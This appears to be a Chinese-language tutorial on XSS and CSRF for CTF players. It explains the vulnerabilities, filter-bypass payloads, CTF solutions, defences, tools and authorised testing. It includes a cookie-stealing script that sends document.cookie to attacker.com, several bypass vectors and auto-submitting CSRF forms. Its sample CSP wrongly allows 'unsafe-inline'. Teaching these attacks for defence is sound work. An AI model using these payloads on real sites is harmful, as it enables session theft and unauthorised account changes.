1. 项目概述
作为一名长期活跃在CTF赛事和Web安全研究领域的从业者，我经常遇到初学者对客户端漏洞的困惑。XSS（跨站脚本攻击）和CSRF（跨站请求伪造）作为Web安全领域的"经典双雄"，在各类CTF比赛中出现频率高达60%以上（根据2023年CTFtime赛事统计）。这两个漏洞看似基础，但实际攻防中却暗藏玄机。
本专题将基于真实CTF赛题和渗透测试案例，深入剖析这两种漏洞的原理、利用手法和防御策略。不同于教科书式的理论讲解，我会重点分享在实战中积累的"肌肉记忆"级经验——比如如何绕过常见的过滤机制，如何构造具有迷惑性的攻击载荷，以及裁判最常设置的flag藏匿点。
2. 核心漏洞原理深度解析
2.1 XSS攻击的三重形态
反射型XSS是最基础的形态，攻击脚本通过URL参数注入并即时执行。在CTF中常见于搜索框、错误消息等场景。我曾遇到一个典型赛题：页面会将?search=参数值直接输出到HTML中，但用<script>标签会被过滤。实际解法是：
<img src=x onerror=alert(1)>存储型XSS的杀伤力更大，恶意脚本会被持久化到数据库。某次比赛中，选手个人资料页的"签名"字段存在该漏洞，通过插入以下代码可窃取其他用户的cookie：
<script>fetch('https://attacker.com/steal?data='+document.cookie)</script>DOM型XSS的特殊之处在于漏洞点在前端JavaScript代码中。去年某赛事的一道题需要分析这段代码：
let hash = location.hash.slice(1); document.getElementById('output').innerHTML = hash;解法是通过构造#<img src=x onerror=alert(1)>这样的URL片段来触发。
2.2 CSRF的攻击本质
CSRF利用的是浏览器的同源策略对请求的"无差别信任"。在一次企业渗透测试中，我发现某后台系统的密码修改功能仅验证会话cookie，未检查Referer头。使用Burp Suite生成攻击页面：
<form action="https://target.com/change-password" method="POST"> <input type="hidden" name="newpass" value="hacked123"> </form> <script>document.forms[0].submit()</script>当管理员访问该页面时，密码就会被悄无声息地修改。这种攻击在CTF中常与XSS结合出现，形成组合拳。
3. 实战演练与技巧
3.1 XSS绕过过滤的六种姿势
- 大小写混淆：
<ScRiPt>alert(1)</sCriPt> - HTML实体编码：
<img src=x onerror=alert(1)> - JavaScript伪协议：
<a href="javascript:alert(1)">click</a> - SVG标签利用：
<svg onload=alert(1)> - 事件处理器覆盖：
<div onclick="alert(1)">click me</div> - 模板字符串绕过：
<img src=x onerror=`${'al'+'ert(1)'}`>
3.2 CSRF攻击的进阶技巧
- JSON劫持：当API响应为JSONP格式时，可通过
<script>标签窃取数据 - Content-Type绕过：有些系统仅检查Header而不验证实际内容类型
- Referer欺骗：利用开放重定向漏洞伪造合法来源
- Flash跨域攻击：利用crossdomain.xml配置不当实施攻击
4. 防御方案与CTF解题思路
4.1 XSS防御的三道防线
输入过滤：
- 使用DOMPurify等库进行HTML净化
- 关键代码示例：
const clean = DOMPurify.sanitize(userInput);
输出编码：
- 根据上下文选择不同的编码方式：
htmlspecialchars($input, ENT_QUOTES);
- 根据上下文选择不同的编码方式：
内容安全策略(CSP)：
- 典型配置：
Content-Security-Policy: default-src 'self'; script-src 'unsafe-inline'
- 典型配置：
4.2 CSRF防护的四种武器
Anti-CSRF Token：
# Django示例 <form> {% csrf_token %} </form>SameSite Cookie属性：
Set-Cookie: sessionid=xxx; SameSite=Strict双重提交验证：
- 客户端生成token并存入cookie，服务端比对表单和cookie中的token
关键操作二次验证：
- 密码修改等敏感操作要求重新输入密码
5. CTF实战案例分析
5.1 XSS题目"留言板的秘密"
某比赛题目给出一个简单的留言板系统，过滤了<script>但允许其他HTML标签。通过以下步骤找到flag：
测试基本XSS向量：
<img src=x onerror=console.log(1)>发现成功执行
探查DOM结构：
<img src=x onerror=console.log(document.body.innerHTML)>发现
<!-- flag: xss_is_fun -->注释最终payload：
<img src=x onerror="fetch('/submit?flag='+document.body.innerHTML.match(/flag: (.+?)-->/)[1])">
5.2 CSRF题目"管理员购物车"
题目描述：让管理员购买指定商品（商品ID=1337）。分析发现：
- 购买接口：
POST /buy参数item_id - 无CSRF防护
- 管理员会访问用户个人页面
构造攻击页面：
<form id="exploit" action="https://ctf.example.com/buy" method="POST"> <input type="hidden" name="item_id" value="1337"> </form> <script>exploit.submit()</script>将页面URL提交给管理员bot即可完成攻击。
6. 防御实战中的经验之谈
在真实环境中防御这些漏洞时，有几点教科书上不会写的经验：
XSS过滤的误区：
- 不要依赖黑名单，总有你没考虑到的绕过方式
- 正则表达式过滤容易被
<scr<script>ipt>这样的方式绕过
CSRF Token的注意事项：
- Token必须与用户会话绑定
- 每个表单使用独立Token
- Token需要足够随机（建议128位以上）
CSP配置的坑：
unsafe-inline会大幅削弱防护效果- 注意子域名的继承问题
- 使用
report-uri收集违规报告
浏览器特性的影响：
- Chrome的XSS Auditor已被移除
- Safari对SameSite Cookie的实现有差异
- Firefox的CSP处理更严格
7. 工具链推荐
7.1 XSS测试工具
- Burp Suite Scanner：自动化检测反射型XSS
- XSStrike：智能绕过WAF的测试工具
- DOM Invader（Browser插件）：可视化DOM XSS检测
7.2 CSRF测试工具
- CSRF PoC Generator（Burp插件）：一键生成攻击页面
- OWASP ZAP：自动化CSRF检测
- Postman：手动测试Origin/Referer检查
7.3 防御开发库
- DOMPurify（JavaScript）：HTML净化
- AntiXSS（.NET）：微软官方库
- CSRFGuard（Java）：Token管理
8. 靶场环境搭建建议
为了练习这些漏洞的利用和防御，推荐以下环境：
DVWA（Damn Vulnerable Web App）：
- 包含从Low到Impossible的多级安全设置
- 特别适合XSS和CSRF的渐进式学习
WebGoat：
- OWASP维护的专项训练平台
- 有完整的课程体系和解题指导
XSS游戏平台：
- https://xss-game.appspot.com
- 6个渐进式挑战关卡
本地CTF环境：
docker pull vulnerables/web-dvwa docker run -d -p 80:80 vulnerables/web-dvwa
9. 漏洞挖掘方法论
9.1 XSS挖掘四步法
- 输入点测绘：找出所有用户可控输入点
- 输出追踪：观察输入如何被渲染
- 上下文分析：确定是HTML、JavaScript还是属性上下文
- 绕过尝试：根据过滤机制选择绕过技术
9.2 CSRF漏洞检测清单
- 检查关键操作是否使用GET方法
- 验证请求是否仅依赖会话cookie
- 测试缺少CSRF Token的情况
- 检查CORS配置是否过于宽松
- 验证SameSite Cookie属性设置
10. 法律与道德边界
在研究和测试这些漏洞时，务必注意：
授权测试原则：
- 永远先获取书面授权
- 明确测试范围和方式
漏洞披露流程：
- 通过安全渠道报告
- 给予合理修复时间
- 不公开技术细节
CTF比赛伦理：
- 不攻击比赛基础设施
- 不干扰其他选手
- 遵守赛事规则
在真实渗透测试中，我通常会准备这样的授权书模板：
本授权书确认[公司名称]授权[测试者]在[日期范围]内 对[系统URL]进行安全测试，测试方式包括但不限于： - XSS漏洞检测 - CSRF漏洞验证 - 其他Web应用安全测试记住：技术本身无罪，关键在于使用者的意图。我们研究漏洞是为了建设更安全的网络环境，而不是破坏它。
